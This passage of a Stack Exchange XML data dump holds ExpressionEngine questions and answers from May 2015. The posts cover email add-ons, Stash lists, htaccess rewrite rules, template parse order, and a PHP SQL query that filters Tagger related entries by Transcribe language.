happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Escort for your system-generated emails, and Postmaster for custom emails, they will play together just fine.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-20T14:26:55.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31566" PostTypeId="2" ParentId="31564" CreationDate="2015-05-20T15:11:33.417" Score="1" Body="&lt;p&gt;DevDemon released Channel Videos 3.2 recently which addresses the YouTube API changes. See: &lt;a href=&quot;https://twitter.com/devdemon/status/596450483788771329&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/devdemon/status/596450483788771329&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-20T15:11:33.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31567" PostTypeId="2" ParentId="31562" CreationDate="2015-05-20T15:16:33.933" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Can the add-on be setup to email a registered user when that end user submits a new entry (confirming they submitted an entry)? Plus email the admin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, if you setup a parcel to do this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Does this email the end user to new updates to their entries? Does Postmaster send an email to the end-user if the admin updates their entry via the ACP or the front end using Channel:Form?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, if you setup a parcel to do this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) A bit of a stretch, but does the add-on have the ability to update a channel entry from an email?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, it does not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4) Can the add-on notify on a per user basis if I create (as admin) a new entry that I only want them to be contacted on (assign them to get a notification)? I assign it to the member and they get an email saying they have a new entry waiting for them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think so - the conditions under which an email parcel gets sent have Member Group criteria, but not per-member criteria.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-05-20T15:16:33.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31568" PostTypeId="2" ParentId="10774" CreationDate="2015-05-20T16:05:14.953" Score="0" Body="&lt;p&gt;This problem may also occur if you have two domains pointing to same expression engine site and you are trying to access asset thru the domain which is not setup as your default domain in expression engine setting(Admin -&gt; General Configuration -&gt; URL to the root directory of your site OR Admin -&gt; System Administration -&gt; Cookie Settings -&gt; Cookie Domain). Since you are not accessing asset thru default website domain your request will not be authenticated.&lt;/p&gt;&#xA;" OwnerUserId="4933" LastActivityDate="2015-05-20T16:05:14.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31569" PostTypeId="2" ParentId="31562" CreationDate="2015-05-20T17:42:34.520" Score="1" Body="&lt;p&gt;I'd like to throw another alternative into the hat... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module is free so you'll not spend any £££ trying it out, and I do beleive it will fulfill point 4, as long as you set up the user to notify as the author at least...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-20T17:42:34.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31570" PostTypeId="2" ParentId="31557" CreationDate="2015-05-20T17:55:45.457" Score="0" Body="&lt;p&gt;Forgive me I havn't the time to disect your htaccess fully, however the &lt;code&gt;-d&lt;/code&gt; rule is for directories, granted you have the &lt;code&gt;-f&lt;/code&gt; file rule as well, I won't comment on why it's ignoring files however (one of the guys here will correct me if I'm wrong) I beleive .html is a declared html file extension according to apache therefor not caught by the &lt;code&gt;-f&lt;/code&gt;, just like .php or .htm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why perform 2 sets of rules though when you can literally achieve what you want with one? I assume &lt;code&gt;/collage/&lt;/code&gt; needs to be appended in all cases (except the excempt paths) and that there's no actual &lt;code&gt;www.norland.co.uk/collage&lt;/code&gt; links out there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a standard htaccess template I use, I've modified it to exclude requests to your google verification file and always add &lt;code&gt;/collage/&lt;/code&gt; unless the directory is within the exclusions : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #Exclude file paths, directory paths&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/)$&#xA;&#xA;    #file whitelist, do not rewrite if file is root &amp;amp; name is ...&#xA;    RewriteCond $1 !^(favicon\.ico|index\.php|path\.php|php\.ini|admin\.php|googled096ea11cba5b121.html) [NC]&#xA;&#xA;    #directory whitelist, do not rewrite if path begines with ...&#xA;    RewriteCond $1 !^(system|sysbase|images|themes|css|assets)/ [NC]&#xA;&#xA;    #Rewrite what needs rewriting&#xA;    RewriteRule ^(.*)$ /collage/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can add your &lt;code&gt;HTTP_HOST&lt;/code&gt; rule back in if you've got more than one URl going into the same root directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not work (so sorry I'm typing on the move so no ability to test), but should give you something to get your teath into!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-20T17:55:45.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31571" PostTypeId="2" ParentId="31534" CreationDate="2015-05-20T18:08:29.090" Score="1" Body="&lt;p&gt;This is a completely front-end issue, as Max Lazar said. There is no way EE template conditionals have anything to do with browser presentation frameworks, only generated content and structure. If you are ajaxing some content, and your URL to the page you want ajaxed is correct, ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/product_category/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/product_category/product_one&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that template will be parsed exactly as it would be without this front-end framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can test and give us more details about your templates &lt;strong&gt;without&lt;/strong&gt; using this front-end framework, we might be able to help you find a problem with your templates that is completely separate from implementing the framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking at the two page examples, &lt;strong&gt;they are binary equals&lt;/strong&gt;. Your issue here comes down to browser behavior with respect to loading stylesheet rules and painting them appropriately. I've run into this thing before; sadly there is no easy or direct solution. I would initially try reloading the stylesheet rules to see if you can get a browser repaint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2024486/is-there-an-easy-way-to-reload-css-without-reloading-the-page&quot;&gt;https://stackoverflow.com/questions/2024486/is-there-an-easy-way-to-reload-css-without-reloading-the-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13721183/reload-css-stylesheets-with-javascript&quot;&gt;https://stackoverflow.com/questions/13721183/reload-css-stylesheets-with-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ajaxian.com/archives/browser-reflows-how-do-they-affect-performance&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ajaxian.com/archives/browser-reflows-how-do-they-affect-performance&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can foresee that getting messy, unless you basically write a jQuery plugin (or vanialla JavaScript library) triggered by a smoothState.js callback of some kind. Either way, this is browser behavior in regards to the particular structure and stylesheet rules of your website. Browsers do not paint the same after load, I believe.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-05-22T13:19:31.377" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31572" PostTypeId="2" ParentId="31552" CreationDate="2015-05-20T18:10:48.427" Score="1" Body="&lt;p&gt;You don't actually say if your trying to edit the field on the child entry or just display it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I assume your trying to just view it, try something like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;message_on_hold&quot;}&#xA;  {options:moh_voice_female}&#xA;    &amp;lt;input type=&quot;radio&quot; name=&quot;moh_voice_female[data][]&quot; id=&quot;moh_voice_female&quot; value=&quot;{option_value}&quot;{checked}&amp;gt; {option_name}&#xA;&#xA;    {!-- Display Data from related child entry --}&#xA;    {exp:channel:entries entry_id=&quot;{option_value}&quot; dynamic=&quot;no&quot;}&#xA;      {title}&#xA;      {voice_talent_sample}&#xA;    {/exp:channel:entries} &#xA;&#xA;  {/options:moh_voice_female}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What we're doing here is starting a standard channel:entries, feeding the entry_id (value) from the relationship field and displaying some info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you need to watch out for parse order (inward ect) but you should be able to sus that out. You may be tempted to try and incert a second &lt;code&gt;channel:form&lt;/code&gt; inside the first to gain editing of the child, however this won't work as you'll end up with 2 forms, one inside the other (form inception, &lt;a href=&quot;https://stackoverflow.com/questions/555928/is-it-valid-to-have-a-html-form-inside-another-html-form&quot;&gt;see this answer&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwsie, if your trying to edit it : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're trying to achieve is not possible, just like in the admin section when you edit an entry with a playa on it you're only editing the parent entry, you can change the playa value but this is not pointing to the child entry, it's referencing the child entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;while &lt;code&gt;channel:entries&lt;/code&gt; will parse the child (as it knows what you set for the relationship value) when on the channel form for the parent entry you can only affect the entry being pointed to by the parent, you can't iterate into the desired child entry, after all who knows what child you might pick while editing the parent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you may be able to do is make a 2 step form, where : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Present a Channel Entry form for the parent, allow user to select child or create new&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the Parent is set, present a second entry form for the chosen child (or create a new entry for the child if it doesn't exist)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-05-20T18:10:48.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31573" PostTypeId="2" ParentId="31547" CreationDate="2015-05-20T18:22:53.487" Score="1" Body="&lt;p&gt;If you mean this plugin : &lt;a href=&quot;https://devot-ee.com/add-ons/ctrls&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/ctrls&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used this before. the file you get is called &lt;code&gt;ext.ctrl_s.php&lt;/code&gt;, and you should install it here &lt;code&gt;/system/expressionengine/third_party/ctrl_s/ext.ctrl_s.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just installed this on EE 2.10.1 to test and it works fine. AS mentioned you need to goto &lt;code&gt;Add-Ons &amp;gt; Extensions&lt;/code&gt; and 'Install' it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I've done nothing but expand on Robson's answer above, except I've gone and got the extension for myself to check (assuming I've referred to the right one!). Once you get it working, make sure you mark Robson's answer as correct!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-20T18:38:31.203" LastActivityDate="2015-05-20T18:38:31.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31574" PostTypeId="2" ParentId="31531" CreationDate="2015-05-20T18:37:27.977" Score="0" Body="&lt;p&gt;This smacks of &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Parse order&lt;/a&gt;, as Robson and Peter suggest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that piece of PHP code is on a template somewhere, I van only assume you want the tags filled in BEFORE the php is executed, therefor set your template to PHP &lt;code&gt;On&lt;/code&gt; on &lt;code&gt;Output&lt;/code&gt;. You can also add the addslashes into your php array creation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By example, first lets echo out the array so we can see what happens when : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$product_array[&quot;{ProductEntryID}&quot;][] = array(&#xA;  'CustomizationNotes' =&amp;gt; addslashes(&quot;{CustomizationNotes}&quot;),&#xA;);&#xA;print &quot;&amp;lt;pre&amp;gt;&quot;.print_r($product_array,1).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;span&amp;gt;I am not a number, I am a free span!&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assuming &lt;code&gt;{ProductEntryID}&lt;/code&gt; evaluates to '10' and &lt;code&gt;{CustomizationNotes}&lt;/code&gt; evaluates to &quot;Don't use apostrophies&quot; then, with PHP on Outout the first thing to happen is the tags are parsed, so your template becomes : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$product_array[&quot;10&quot;][] = array(&#xA;  'CustomizationNotes' =&amp;gt; addslashes(&quot;Don't use apostrophies&quot;),&#xA;);&#xA;print &quot;&amp;lt;pre&amp;gt;&quot;.print_r($product_array,1).&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;span&amp;gt;I am not a number, I am a free span!&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And neareer the end the php is evaluated so the source you end up with is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;Array\n&#xA;(\n&#xA;    [10] =&amp;gt; Array\n&#xA;        (\n&#xA;            [0] =&amp;gt; Array\n&#xA;                (\n&#xA;                    [CustomizationNotes] =&amp;gt; Don\'t use apostrophies\n&#xA;                )\n&#xA;\n&#xA;    )\n&#xA;\n&#xA;)\n&#xA;&amp;lt;/pre&amp;gt;&#xA;&amp;lt;span&amp;gt;I am not a number, I am a free span!&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-20T18:37:27.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31575" PostTypeId="1" AcceptedAnswerId="31580" CreationDate="2015-05-20T20:18:19.747" Score="1" ViewCount="57" Body="&lt;p&gt;I'm trying to render a list of entry titles into a drop menu using Stash. However, I get no results. I modeled my solution using another thread here, but no go.  Any help will be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_product_list name=&quot;product_list_name&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:channel:entries channel=&quot;product_profiles&quot;}&#xA;        {stash:product_title} {title} {/stash:product_title}&#xA;        {stash:product_entry_id} {entry_id} {/stash:product_entry_id}&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:set_product_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--initial display field is blank--&amp;gt;&#xA;     &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;!--values show in dropdown---&amp;gt;&#xA;     {exp:stash:get_product_list name=&quot;product_list_name&quot; unique=&quot;yes&quot;}&#xA;        &amp;lt;option value=&quot;{product_entry_id}&quot;&amp;gt;{product_title}&amp;lt;/option&amp;gt;&#xA;     {/exp:stash:get_product_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="975" LastEditDate="2015-05-21T12:29:03.623" LastActivityDate="2015-05-21T12:29:03.623" Title="Rendering entry titles in dropdown using Stash" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31576" PostTypeId="1" CreationDate="2015-05-20T20:40:22.300" Score="0" ViewCount="45" Body="&lt;p&gt;I have two tabs - first should to display doctors names starting from A-N and second one names starting from O-Z&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;tab-pane active&quot; id=&quot;providers1&quot;&amp;gt;&#xA;    {exp:low_alphabet:entries channel=&quot;doctors&quot; alpha_field=&quot;doctor_short_name&quot; alpha_groups=&quot;A-N&quot; alpha_filter=&quot;A-N&quot;}&#xA;        {photos limit=&quot;1&quot;}&#xA;                &amp;lt;img src=&quot;{photos:image_thumbnail}&quot; alt=&quot;{photos:image_title}&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;        {/photos}&amp;lt;br&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}index.php/meet_us/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:low_alphabet:entries}  &#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;tab-pane&quot; id=&quot;providers2&quot;&amp;gt;&#xA;    {exp:low_alphabet:entries channel=&quot;doctors&quot; alpha_field=&quot;doctor_short_name&quot; alpha_groups=&quot;O-Z&quot; alpha_filter=&quot;O-Z&quot;}&#xA;        &amp;lt;a href=&quot;{site_url}index.php/meet_us/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:low_alphabet:entries}    &#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but somehow both tabs are displaying same entries not triggering Low Alphabet filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what can be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2015-05-21T13:59:26.150" LastActivityDate="2015-05-21T13:59:26.150" Title="Low Alphabet and entries range (filtering)" Tags="|low-alphabet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31577" PostTypeId="1" AcceptedAnswerId="31589" CreationDate="2015-05-20T21:08:16.840" Score="0" ViewCount="68" Body="&lt;p&gt;Having difficulties pulling back the correct image for related entries. It's pulling back the same image as the main entry and not the related entries image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;{news_channel}&quot;&#xA;dynamic=&quot;no&quot;&#xA;limit=&quot;3&quot;&#xA;url_title=&quot;{segment_2}&quot;&#xA;parse=&quot;inward&quot;&#xA;}&#xA;&#xA;{exp:tagger:related entry_id=&quot;{tagger:entry:id}&quot; url_title=&quot;{segment_2}&quot; custom_fields=&quot;news-heading|news-summary&quot;}&#xA;&#xA;    &amp;lt;img src=&quot;{news-thumbnail:medium}&quot; alt=&quot; &quot;/&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{tagger:news-heading}&amp;lt;/h2&amp;gt;&#xA;    {tagger:news-summary}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:tagger:related}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried using {tagger:news-thumbnail:medium} also but still no luck.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-05-21T18:39:44.773" Title="DevDemon Tagger Related Image Entries" Tags="|devdemon|devdemon-tagger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31578" PostTypeId="1" AcceptedAnswerId="31659" CreationDate="2015-05-20T21:31:31.240" Score="1" ViewCount="42" Body="&lt;p&gt;My client has been using MX Notify Control for some time to notify authors when their entries have been approved (status switched from &lt;em&gt;Pending&lt;/em&gt; to &lt;em&gt;Open&lt;/em&gt;). She tells me that when administrators approve a single entry, it works. But if they select a few entries and set all their statuses to &lt;em&gt;Open&lt;/em&gt; at once, the notifications are not sent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should it work when editing multiple entries at once, or only for one at a time?&lt;/p&gt;&#xA;" OwnerUserId="1575" LastEditorUserId="1575" LastEditDate="2015-05-21T13:19:48.057" LastActivityDate="2015-05-27T19:05:58.767" Title="Mx Notify Control doesn't work when bulk-editing" Tags="|mx-notify|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31579" PostTypeId="1" CreationDate="2015-05-21T01:43:05.103" Score="2" ViewCount="140" Body="&lt;p&gt;I'm using a custom gateway (offsite) for exp-resso store; upon successful transaction the return page gives out &quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction is captured albeit not completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the default store_example templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: EE ver 2.9.3; Exp-resso 2.5.0&lt;/p&gt;&#xA;" OwnerUserId="2671" LastEditorUserId="2671" LastEditDate="2015-05-26T02:31:58.687" LastActivityDate="2016-01-25T00:49:39.997" Title="Expresso Store: Return page from payment gateway error: form has expired" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31580" PostTypeId="2" ParentId="31575" CreationDate="2015-05-21T04:48:49.330" Score="1" Body="&lt;p&gt;Your usage of the stash tags is slightly wrong. It should be &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; not &lt;code&gt;{exp:stash:set_product_list}&lt;/code&gt;. The same applies to your usage of the &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating your code to the following should work correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;product_list_name&quot; parse_tags=&quot;yes&quot;}&#xA;   {exp:channel:entries channel=&quot;product_profiles&quot;}&#xA;      {stash:product_title} {title} {/stash:product_title}&#xA;      {stash:product_entry_id} {entry_id} {/stash:product_entry_id}&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;select name=&quot;product_select&quot;&amp;gt;&#xA;    &amp;lt;!--initial display field is blank--&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; selected&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;!--values show in dropdown--&amp;gt;&#xA;    {exp:stash:get_list name=&quot;product_list_name&quot; unique=&quot;yes&quot;}&#xA;        &amp;lt;option value=&quot;{product_entry_id}&quot;&amp;gt;{product_title}&amp;lt;/option&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastActivityDate="2015-05-21T04:48:49.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31581" PostTypeId="2" ParentId="31191" CreationDate="2015-05-21T10:19:01.730" Score="1" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : Ok so I have a solution for you, however it's not ideal. What I've had to do is use PHP and take advantage of embeds and parse order to make this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I tried to acomplish this with EE tags, and potentually some embeds but I soon got myself into tag and embed hell, the problem is tagger does not honour transcribe and trandscribe doesn't effect tagger related entries. Therefor rather than nesting tagger tags inside transcribe tags and vice versa what I've done is written a small SQL query that will take care of the linking and filtering for us. Here's your main template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt; is &lt;strong&gt;On&lt;/strong&gt; and parsed on &lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;news&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    limit=&quot;3&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;        //get the entry ID of the main entry into a PHP variable&#xA;        $entry_id = '{entry_id}';&#xA;&#xA;        //use the transcribe:language_links tag to get a list of the availabel abbreviations&#xA;        $lang_in = rtrim(&quot;{exp:transcribe:language_links has_entry=&quot;yes&quot; entry_id=&quot;{entry_id}&quot;}{languages}'{abbreviation}',{/languages}{/exp:transcribe:language_links}&quot;,',');&#xA;&#xA;        //The magic query, here this one query gets all the entries that the tagger tag is related too like tagger:related does, but then also checks the languages of those returned all at once&#xA;        $res = ee()-&amp;gt;db-&amp;gt;query(&quot;&#xA;            SELECT tag2.entry_id FROM `exp_tagger_links` as tag1 &#xA;                JOIN `exp_tagger_links` as tag2 ON tag1.tag_id = tag2.tag_id&#xA;                JOIN `exp_transcribe_entries_languages` as trans1 ON tag2.entry_id = trans1.entry_id &#xA;                JOIN `exp_transcribe_languages` as trans2 ON trans1.language_id = trans2.id&#xA;            WHERE tag1.entry_id = '&quot; . $entry_id . &quot;' &#xA;                AND tag1.entry_id != tag2.entry_id &#xA;                AND trans1.language_id != 0&#xA;                AND trans2.abbreviation IN (&quot; . $lang_in . &quot;)&#xA;        &quot;);&#xA;&#xA;        //now its time to process the results if any&#xA;        $eids = &quot;&quot;;&#xA;        if ( $res-&amp;gt; num_rows() &amp;gt; 0 ){&#xA;            foreach ( $res-&amp;gt;result_array() as $row ){&#xA;                $eids .= $row['entry_id'] . &quot;|&quot;;&#xA;            }&#xA;        }&#xA;        $eids = rtrim($eids, &quot;|&quot;);&#xA;    ?&amp;gt;&#xA;&#xA;    {!-- now we feed the result of our PHP query into the embed --}&#xA;    {embed=&quot;_site/part&quot; eids=&quot;&amp;lt;?php echo $eids; ?&amp;gt;&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, so now we have to run PHP based on tag output so we can't then use the PHP to feed other tags parameters, so what we do here is take advantage of an embed template. Embed templates are processed &lt;em&gt;after&lt;/em&gt; PHP on Output so we can feed our PHP into an embed, as per the above. My child template is fairly simple but you can expand this to whatever you like, as we are now using a standard &lt;code&gt;channel:entries&lt;/code&gt; loop to display the filtered entries!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; entry_id=&quot;{embed:eids}&quot; dynamic=&quot;no&quot; transcribe=&quot;disable&quot;}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;sup&amp;gt;{entry_id}&amp;lt;/sup&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;p&gt;I spun up an example Where I had :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry &quot;One&quot; in English(id:1) and Welsh(id:2), both tagged with &quot;YMCA&quot;&lt;/li&gt;&#xA;&lt;li&gt;Entry &quot;Two&quot; in English(id:3) Only, tagged with &quot;YMCA&quot;&lt;/li&gt;&#xA;&lt;li&gt;Entry &quot;Three&quot; in English(id:4) and Welsh(id:5), just Welsh version tagged with &quot;YMCA&quot;&lt;/li&gt;&#xA;&lt;li&gt;Entry &quot;Four&quot; in English(id:6) and Irish(id:7), just Irish version tagged with &quot;YMCA&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Therefor of we just pull the entire related entries list for &quot;YMCA&quot; we would get id's ; 1, 2, 3, 5 &amp;amp; 7. To prove the test we would expect that when I view your template for &quot;Entry One&quot; we would get (any entry tagged with YMCA available in English or Welsh so) just the id's ; 2, 3 &amp;amp; 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy paste of my result : &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;One&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;&lt;sup&gt;2&lt;/sup&gt;One&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;&lt;sup&gt;3&lt;/sup&gt;Two&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;&lt;sup&gt;5&lt;/sup&gt;Three&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This produces the correct result. For completeness, versions used are : EE 2.10.1, Tagger 3.2.1, Transcribe 1.6.2&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-21T13:39:33.483" LastActivityDate="2015-05-21T13:39:33.483" 